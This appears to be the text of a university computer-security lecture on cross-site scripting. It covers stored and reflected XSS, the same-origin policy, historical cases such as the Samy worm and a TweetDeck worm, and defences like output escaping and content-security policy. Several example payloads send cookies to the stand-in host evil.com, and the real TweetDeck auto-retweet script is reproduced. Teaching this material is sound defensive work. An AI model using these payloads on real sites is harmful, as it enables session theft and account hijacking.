Cross-site scripting attack

CS 161: Computer Security

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Some content adapted from materials by David Wagner or Dan Boneh
Announcements

• Starting recording
• Please turn on video if you can
• We are grading Midterm 2
• Project 3 part 1 due Tuesday, April 14 at 11:59 pm.
## Top web vulnerabilities

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2010 (Previous)</th>
<th>OWASP Top 10 – 2013 (New)</th>
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<tr>
<td>A1 – Injection</td>
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<tr>
<td>A3 – Broken Authentication and Session Management</td>
<td>A2 – Broken Authentication and Session Management</td>
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<td>&lt;boxed&gt;<strong>A2 – Cross-Site Scripting (XSS)</strong>&lt;/boxed&gt;</td>
<td>&lt;boxed&gt;<strong>A3 – Cross-Site Scripting (XSS)</strong>&lt;/boxed&gt;</td>
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<td>A8 – Cross-Site Request Forgery (CSRF)</td>
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<td>&lt;boxed&gt;buried in A6: Security Misconfiguration&lt;/boxed&gt;</td>
<td>A9 – Using Known Vulnerable Components</td>
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## Top web vulnerabilities

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<td>➔ A8:2017-Insecure Deserialization [NEW, Community]</td>
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Cross-site scripting attack (XSS)

- Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data

- The same-origin policy does not prevent XSS
Setting: Dynamic Web Pages

- Rather than static HTML, web pages can be expressed as a program, say written in *Javascript*:

```
web page

<font size=30>
Hello, <b>
<script>
var a = 1;
var b = 2;
document.write("world: ", a+b, "</b>
</script>
</font>
```

- Outputs:

```
Hello, world: 3
```
Recall: Javascript

- Powerful web page *programming language*
- Scripts are embedded in web pages returned by web server
- Scripts are executed by browser. Can:
  - Alter page contents
  - Track events (mouse clicks, motion, keystrokes)
  - Issue web requests, read replies
- *(Note: despite name, has nothing to do with Java!)*
Rendering example

Browser’s rendering engine:

1. Call HTML parser
   - tokenizes, starts creating DOM tree
   - notices <script> tag, yields to JS engine

2. JS engine runs script to change page

3. HTML parser continues:
   - creates DOM

4. Painter displays DOM to user

Hello, world: 3

Hello, world: 3
Confining the Power of Javascript Scripts

• Given all that power, browsers need to make sure JS scripts don’t abuse it

  • For example, don’t want a script sent from hackerz.com web server to read or modify data from bank.com

  • … or read keystrokes typed by user while focus is on a bank.com page!
Same Origin Policy

Recall:

• Browser associates web page elements (text, layout, events) with a given origin

• SOP = a script loaded by origin A can access only origin A’s resources (and it cannot access the resources of another origin)
XSS subverts the same origin policy

- Attack happens **within the same origin**
- Attacker *tricks* a server (e.g., *bank.com*) to send malicious script to users
- User visits to *bank.com*

Malicious script has origin of bank.com so it is permitted to access the resources on bank.com
Two main types of XSS

- **Stored XSS**: attacker leaves Javascript lying around on benign web service for victim to load
- **Reflected XSS**: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back
Stored (or persistent) XSS

- The attacker manages to store a malicious script at the web server, e.g., at bank.com
- The server later unwittingly sends script to a victim’s browser
- Browser runs script in the same origin as the bank.com server
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)
Stored XSS (Cross-Site Scripting)

User Victim

Attack Browser/Server

1. Inject malicious script

Server Patsy/Victim

bank.com
evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script from evil.com
2. User Victim requests content from bank.com
   - Request content sent to Server Patsy/Victim
   - Server Patsy/Victim serves content back to the User Victim
Stored XSS (Cross-Site Scripting)

1. Inject malicious script from evil.com
2. Request content from bank.com
3. Receive malicious script from server Patsy/Victim
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   - Inject malicious script

2. User Victim
   - request content

3. Server Patsy/Victim
   - receive malicious script

4. execute script embedded in input 
   as though server meant us to run it
Stored XSS (Cross-Site Scripting)

1. Inject malicious script from evil.com
2. User Victim requests content
3. Server Patsy/Victim receives malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. User Victim request content
3. Server Patsy/Victim receive malicious script
4. execute script embedded in input as though server meant us to run it
5. perform attacker action

E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000
Stored XSS (Cross-Site Scripting)

And/Or:

1. Inject malicious script
2. request content
3. receive malicious script
4. execute script embedded in input as though server meant us to run it
5. perform attacker action
6. steal valuable data

User Victim

Attack Browser/Server

Server Patsy/Victim

And/Or:

Stored XSS (Cross-Site Scripting)

1. Inject malicious script

Bank.com

Evil.com
Stored XSS (Cross-Site Scripting)

And/Or:

1. request content
2. receive malicious content
3. execute script embedded in input as though server meant us to run it
4. perform attacker action
5. leak valuable data

E.g., GET http://evil.com/steal/document.cookie

Server Patsy/Victim

Attack Browser/Server

evil.com

bank.com

Stored XSS (Cross-Site Scripting)

And/Or:

1. request content
2. receive malicious content
3. execute script embedded in input as though server meant us to run it
4. perform attacker action
5. leak valuable data

E.g., GET http://evil.com/steal/document.cookie

Server Patsy/Victim

Attack Browser/Server

evil.com

bank.com
**Stored XSS (Cross-Site Scripting)**

1. **Inject malicious script**
   - **evil.com**

2. **request content**
   - **bank.com**

3. **receive malicious script**

4. **execute script embedded in input as though server meant us to run it**

5. **perform attacker action**

6. **leak valuable data**

**(A “stored” XSS attack)**
**Stored XSS: Summary**

- **Target**: user who visits a **vulnerable web service**
- **Attacker goal**: run a **malicious script** in user’s browser with same access as provided to server’s regular scripts (subvert SOP = **Same Origin Policy**)
- **Attacker tools**: ability to leave content on web server page (e.g., via an ordinary browser);
- **Key trick**: server fails to ensure that content uploaded to page does not contain embedded scripts
Demo: stored XSS
MySpace.com  (Samy worm)

• Users can post HTML on their pages
  – MySpace.com ensures HTML contains no
    `<script>, <body>, onclick, <a href=javascript://>`
  – … but can do Javascript within CSS tags:
    `<div style="background:url(‘javascript:alert(1)’)">`

• With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page
  – … and adds Samy as a friend.
  – Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Twitter XSS vulnerability

User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
Stored XSS using images

Suppose pic.jpg on web server contains HTML!

- request for http://site.com/pic.jpg results in:
  
  HTTP/1.1  200 OK 
  ... 
  Content-Type: image/jpeg 

  <html>  fooled ya  </html>

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an “image” that is a script?
Reflected XSS

- The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript
- The server echoes it back to victim user in its response
- Victim’s browser executes the script within the same origin as bank.com
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)

1. Visit web site
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page

Victim client

Attack Server
evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control:
- Server Patsy/Victim: bank.com
- Attack Server: evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
   - "echo user input"
4. Click on link
   - "evil.com"

Victim client

Attack Server

Server Patsy/Victim

bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. "Echo" user input
5. Execute script embedded in input as though server meant us to run it
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- bank.com
Reflected XSS (Cross-Site Scripting)

And/Or:

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. send valuable data
7. attack server
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

(“Reflected” XSS attack)

Attack Server

Server Patsy/Victim

evil.com

bank.com
Example of How Reflected XSS Can Come About

• User input is echoed into HTML response.
• *Example*: search field
  – search.php responds with
    ```html
    <HTML>  <TITLE> Search Results </TITLE>
    <BODY>
    Results for $term : 
    . . .
    </BODY> </HTML>
    ```

How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)

```
  <script> window.open(
    "http://evil.com/?cookie = " +
    document.cookie ) </script>
```

What if user clicks on this link?

1) Browser goes to bank.com/search.php?...

2) bank.com returns

  `<HTML> Results for <script> ... </script> ...`

3) Browser **executes** script **in same origin** as bank.com

   Sends to evil.com the cookie for bank.com
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Reflected XSS: Summary

• **Target:** user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates

• **Attacker goal:** run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)

• **Attacker tools:** ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies

• **Key trick:** server fails to ensure that output it generates does not contain embedded scripts other than its own
Preventing XSS

Web server must perform:

- **Input validation**: check that inputs are of expected form (whitelisting)
  - Avoid blacklisting; it doesn’t work well
- **Output escaping**: escape dynamic data before inserting it into HTML
Output escaping

- HTML parser looks for special characters: < > & ” ’
  - `<html>`, `<div>`, `<script>`
  - such sequences trigger actions, e.g., running script
- Ideally, user-provided input string should not contain special chars
- If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser

<table>
<thead>
<tr>
<th>Character</th>
<th>Escape sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;</code></td>
<td><code>&amp;lt;</code></td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td><code>&amp;gt;</code></td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td><code>&amp;amp;</code></td>
</tr>
<tr>
<td><code>&quot;</code></td>
<td><code>&amp;quot;</code></td>
</tr>
<tr>
<td><code>‘</code></td>
<td><code>&amp;#39;</code></td>
</tr>
</tbody>
</table>
Direct vs escaped embedding

Attacker input:

Direct:

```html
<html>
Comment:
  <script>
  ...
  </script>
</html>
```

Escaped:

```html
<html>
Comment:
  &lt;script&gt;
  ...
  &lt;/script&gt;
</html>
```

Browser rendering:

Direct:

Attack! Script runs!

Escaped:

Script does not run but gets displayed!
Demo fix
Escape user input!

""><SCRIPT>alert(/XSS/)
</SCRIPT>""

FORGOT, IT GOES ON THE PICTURE

memecrunch.com
Escaping for SQL injection

• Very similar, escape SQL parser
• Use \ to escape
  – Html: ‘ → &\#39;
  – SQL: ‘ → \’
XSS prevention (cont’d): Content-security policy (CSP)

• Have web server supply a whitelist of the scripts that are allowed to appear on a page
  – Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including inline scripts)
• Can opt to globally disallow script execution
Summary

• XSS: Attacker injects a malicious script into the webpage viewed by a victim user
  – Script runs in user’s browser with access to page’s data
  – Bypasses the same-origin policy
• Fixes: validate/escape input/output, use CSP